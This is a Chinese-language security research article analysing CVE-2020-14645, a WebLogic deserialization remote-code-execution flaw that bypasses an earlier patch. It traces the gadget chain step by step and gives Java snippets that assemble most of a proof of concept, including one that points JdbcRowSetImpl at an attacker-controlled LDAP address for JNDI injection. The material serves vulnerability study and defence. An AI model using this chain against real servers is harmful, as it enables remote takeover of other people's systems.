作者:DEADF1SH_CAT@知道創宇404實驗室
時間:2020年8月3日

前言

Oracle七月發布的安全更新中,包含了一個Weblogic的反序列化RCE漏洞,編號CVE-2020-14645,CVS評分9.8。

image-20200801182009244

該漏洞是針對于CVE-2020-2883的補丁繞過,CVE-2020-2883補丁將MvelExtractorReflectionExtractor列入黑名單,因此需要另外尋找一個存在extract且方法內存在惡意操作的類,這里用到的類為com.tangosol.util.extractor.UniversalExtractor,存在于Coherence組件。

CVE-2020-2883

先來回顧一下CVE-2020-2883的兩個poc調用鏈

//poc1
 javax.management.BadAttributeValueExpException.readObject()
   com.tangosol.internal.sleepycat.persist.evolve.Mutations.toString()
     java.util.concurrent.ConcurrentSkipListMap$SubMap.size()
     java.util.concurrent.ConcurrentSkipListMap$SubMap.isBeforeEnd()
       java.util.concurrent.ConcurrentSkipListMap.cpr()
         com.tangosol.util.comparator.ExtractorComparator.compare()
           com.tangosol.util.extractor.ChainedExtractor.extract()
           com.tangosol.util.extractor.ReflectionExtractor().extract()
             Method.invoke()
             //...
           com.tangosol.util.extractor.ReflectionExtractor().extract()
             Method.invoke()
               Runtime.exec()

//poc2
java.util.PriorityQueue.readObject()
  java.util.PriorityQueue.heapify()
  java.util.PriorityQueue.siftDown()
  java.util.PriorityQueue.siftDownUsingComparator()
  com.tangosol.util.extractor.AbstractExtractor.compare()
    com.tangosol.util.extractor.MultiExtractor.extract()
      com.tangosol.util.extractor.ChainedExtractor.extract()
        //...
        Method.invoke()
            //...
          Runtime.exec()

其本質上,都是通過ReflectionExtractor調用任意方法,從而實現調用Runtime對象的exec方法執行任意命令,但補丁現在已經將ReflectionExtractor列入黑名單,那么只能使用UniversalExtractor重新構造一條利用鏈,這里使用poc2的入口即CommonsCollections4鏈的入口進行構造。

CVE-2020-14645

為了方便一些純萌新看懂,此處將會從0開始分析反序列化鏈(啰嗦模式警告),并且穿插一些poc構造時需要注意的點,先來看看調用棧。

image-20200801234349005

從頭開始跟進分析整個利用鏈,先來看看PriorityQueue.readObject()方法。

image-20200801234303677

第792會執行for循環,將s.readObject()方法賦給queue對象數組,跟進heapify()方法。

image-20200801234406139

這里會取一半的queue數組分別執行siftDown(i, (E) queue[i]);,實質上PriorityQueue是一個最小堆,這里通過siftDown()方法進行排序實現堆化,那么跟進siftDown()方法。

image-20200801234425033

這里有個對于comparator的判定,我們暫時不考慮comparator的值是什么,接下來會使用到,我們先跟進siftDownUsingComparator()方法。

image-20200801234433087

重點關注comparator.compare()方法,那么我們先來看看comparator是怎么來的。

image-20200801234441593

是在PriorityQueue的構造函數中被賦值的,并且這里可以看到,queue對象數組也是在這里被初始化的。那么結合上述所分析的點,我們需要構造一個長度為2的queue對象數組,才能觸發排序,進入siftDown()方法。同時還要選擇一個comparator,這里選用ExtractorComparator。繼續跟進ExtractorComparator.compare()方法。

image-20200801234503470

這里將會調用this.m_extractor.extract()方法,讓我們看看this.m_extractor是怎么來的。

image-20200801221007825

可以看到,this.m_extractor的值是與傳入的extractor有關的。這里需要構造this.m_extractorChainedExtractor,才可以調用ChainedExtractorextract()方法實現串接extract()調用。因此,首先需要構造這樣一個PriorityQueue對象:

PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor));
//這里chainedExtractor為ChainedExtractor對象,后續會說明chainedExtractor對象的具體構造

繼續跟進ChainedExtractor.extract()方法,可以發現會遍歷aExtractor數組,并調用其extract()方法。

image-20200801234521152

此處aExtractor數組是通過ChainedExtractor的父類AbstractCompositeExtractorgetExtractors()方法獲取到父類的m_aExtractor屬性值。

image-20200801234540446

所以,poc中需要這樣構造m_aExtractor

Class clazz = ChainedExtractor.class.getSuperclass();
Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
m_aExtractor.setAccessible(true);

m_aExtractor具體的值需要怎么構造,需要我們繼續往下分析。先回到我們所要利用到的UniversalExtractor,跟進其extract()方法。

image-20200801234615723

此處由于m_cacheTarget使用了transient修飾,無法被反序列化,因此只能執行else部分,跟進extractComplex()方法。

image-20200801234732346

這里看到最后有method.invoke()方法,oTargetaoParam都是我們可控的,因此我們需要看看method的處理,跟進findMethod方法。

image-20200801234829234

可以看到第477行可以獲取任意方法,但是要進入if語句,得先使fExactMatchtruefStaticfalse。可以看到fStatic是我們可控的,而fExactMatch默認為true,只要沒進入for循環即可保持true不變,使cParams為空即aclzParam為空的Class數組即可,此處aclzParamgetClassArray()方法獲取。

image-20200801235221510

顯而易見,傳入一個空的Object[]即可。回到extractComplex()方法,此時我們只要我們進入第192行的else語句中,即可調用任意類的任意方法。但此時還需要fProperty的值為false,跟進isPropertyExtractor()方法。

image-20200801235942238

可惜m_fMethod依舊是使用transient修飾,溯源m_fMethod的賦值過程。

image-20200802000213645

image-20200802000409329

image-20200802000425863

可以看到,由于this對象的原因,getValueExtractorCanonicalName()方法始終返回的是null,那么跟進computeValuExtractorCanonicalName()方法。

image-20200802000543790

此處不難理解,如果aoParam不為null且數組長度大于0就會返回null,因此我們調用的方法必須是無參的(因為aoParam必須為null)。接著如果方法名sName不以 () 結尾,則會直接返回方法名。否則會判斷方法名是否以 VALUE_EXTRACTOR_BEAN_ACCESSOR_PREFIXES數組中的前綴開頭,是的話就會截取掉并返回。

image-20200802002321123

回到extractComplex方法中,在if條件里會對上述返回的方法名做首字母大寫處理,然后拼接BEAN_ACCESSOR_PREFIXES數組中的前綴,判斷clzTarget類中是否含有拼接后的方法。這時發現無論如何我們都只能調用任意類中getis開頭的方法,并且還要是無參的。

image-20200802005549067

整理下我們可以利用的思路:

  • 調用init()方法,對this.method進行賦值,從而使fProperty的值為false,從而進入else分支語句,實現調用任意類的任意方法。然而這個思路馬上就被終結了,因為我們根本調用不了非getis開頭的方法!!!

  • transient修飾的m_cacheTargetextractComplex方法中被賦值

image-20200802011653243

ExtractorComparator.compare()方法中,我們知道extract方法能被執行兩次,因此在第二次執行時,能夠在UniversalExtractor.extract方法中調用targetPrev.getMethod().invoke(oTarget, this.m_aoParam)方法。但是這種方法也是行不通的,因為getMethod()獲取的就是圖上紅框的中的method,很顯然method依舊受到限制,當我們調用非 getis 開頭的方法時,findMethod 會返回 null

  • 只能走方法被限制的路線了,尋找所有類中以 getis 開頭并且可利用的無參方法

復現過Fastjson反序列化漏洞的小伙伴,應該清楚Fastjson的利用鏈尋找主要針對getset方法,這時候就與我們的需求有重合處,不難想到JdbcRowSetImpl的JNDI注入,接下來一起回顧一下。

image-20200802012325020

connect方法中調用了lookup方法,并且DataSourceName是可控的,因此存在JNDI注入漏洞,看看有哪些地方調用了connect方法。

image-20200802012358277

有三個方法調用了connect方法,分別為preparegetDatabaseMetaDatasetAutoCommit方法,逐一分析。

  • prepare()

image-20200802012523723

一開始就調用了connect方法,繼續回溯哪里調用了prepare方法。

image-20200802012552220

execute方法,應該是用于執行sql查詢的

image-20200802012907664

這個應該是用于獲取參數元數據的方法,prepare()方法應該都是用于一些與sql語句有關的操作方法中。

  • getDatabaseMetaData()

image-20200802012946090

  • setAutoCommit()

image-20200802012958970

必須讓this.conn為空,對象初始化時默認為null,因此直接進入else語句。其實this.conn就是connect方法,用于保持數據庫連接狀態。

回到connect方法,我們需要進入else語句才能執行lookup方法。有兩個前提條件,this.conn為空,也就是執行connect方法時是第一次執行。第二個條件是必須設置DataSourceName的值,跟進去該參數,發現為父類BaseRowSetprivate屬性,可被反序列化。

那么,對于WebLogic這個反序列化利用鏈,我們只要利用getDatabaseMetaData()方法就行,接下來看看該怎么一步步構造poc。先從JdbcRowSetImpl的JNDI注入回溯構造:

JdbcRowSetImpl jdbcRowSet = (JdbcRowSetImpl)JdbcRowSetImpl.class.newInstance();
Method setDataSource_Method = jdbcRowSet.getClass().getMethod("setDataSourceName", String.class);
setDataSource_Method.invoke(jdbcRowSet,"ldap://xx.xx.xx.xx:1389/#Poc");//地址自行構造
//利用ysoserial的Reflections模塊,由于需要獲取queue[i]進行compare,因此需要對數組進行賦值
Object[] queueArray = (Object[])((Object[]) Reflections.getFieldValue(queue, "queue"));
queueArray[0] = jdbcRowSet;
queueArray[1] = jdbcRowSet;

接著構造UniversalExtract對象,用于調用JdbcRowSetImpl對象的方法

UniversalExtractor universalExtractor = new UniversalExtractor();
Object object = new Object[]{};
Reflections.setFieldValue(universalExtractor,"m_aoParam",object);
Reflections.setFieldValue(universalExtractor,"m_sName","DatabaseMetaData");
Reflections.setFieldValue(universalExtractor,"m_fMethod",false);

緊接著將UniversalExtract對象裝載進文章開頭構造的chainedExtractor對象中

ValueExtractor[] valueExtractor_list = new ValueExtractor[]{ universalExtractor };
field.set(chainedExtractor,valueExtractor_list2);//field為m_aExtractor

此處,還有一個小點需注意,一個在文章開頭部分構造的PriorityQueue對象,需要構造一個臨時Extractor對象,用于創建時的comparator,此處以ReflectionExtractor為例。其次,PriorityQueue對象需要執行兩次add方法。

ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString",new Object[]{});
ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{reflectionExtractor});
PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor));
queue.add("1");
queue.add("1");

回到PriorityQueue對象的readObject方法

image-20200802022513752

首先需要能進入for循環,for循環就得有size的值,size值默認為0,private屬性,可以通過反射直接設置,但是不想通過反射怎么辦,回溯賦值過程。

image-20200802022659383

offer方法處獲得賦值,而offer方法又是由add方法調用。(注意此處會執行siftUp方法,其中會觸發comparator的compare方法,從而執行extract方法)。

image-20200802023215593

不難理解,每add一次,size加1,根據上述heapify方法,只會從開頭開始取一半的queue數組執行siftDown方法。所以size至少為2,需要執行兩次add方法,而不是add(2)一次。

至此,poc的主體就構造完成,其余部分就不在此闡述了,當然構造方式有很多,此處為方便萌新,分析得比較啰嗦,poc也比較雜亂,大家可以自行構造屬于自己的poc。如果想要了解簡潔高效的poc,可以參考一下Y4er師傅的poc[3]。

體會

初次接觸完整的反序列化漏洞分析,在整個分析過程中收獲到很多東西。筆者得到的不僅僅只是知識上的收獲,在調試過程中也學到了很多調試技巧。另外本文看起來可能會比較啰嗦冗余,但其初衷是想要站在讀者的角度去思考,去為了方便一些同樣剛入門的人閱讀起來,能夠更加淺顯易懂。學安全,我們經常會碰壁,對于一些知識會比較難啃。有些人遇到就選擇了放棄,然后卻因此原地踏步。不妨就這樣迎難而上,咬著牙啃下去,到最后,你會發現,你得到的,遠遠比你付出的要多。可能對部分人不太有效、畢竟因人而異,但這是自己在學習過程中所體會到的,也因此想要分享給大家這么一個建議。相信在未來,自己對于反序列化漏洞的理解以及挖掘思路,能夠有更深刻的認知,同時激發出自己不一樣的思維碰撞。

References

[1] Oracle 7月安全更新

https://www.oracle.com/security-alerts/cpujul2020.html

[2] T3反序列化 Weblogic12.2.1.4.0 JNDI注入

https://mp.weixin.qq.com/s/8678EM15rZSeFBHGDfPvPQ

[3] Y4er的poc

https://github.com/Y4er/CVE-2020-14645

[4] Java反序列化:基于CommonsCollections4的Gadget分析

https://www.freebuf.com/articles/others-articles/193445.html

[5] Oracle WebLogic 最新補丁的繞過漏洞分析(CVE-2020-2883)

https://blog.csdn.net/systemino/article/details/106117659


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1280/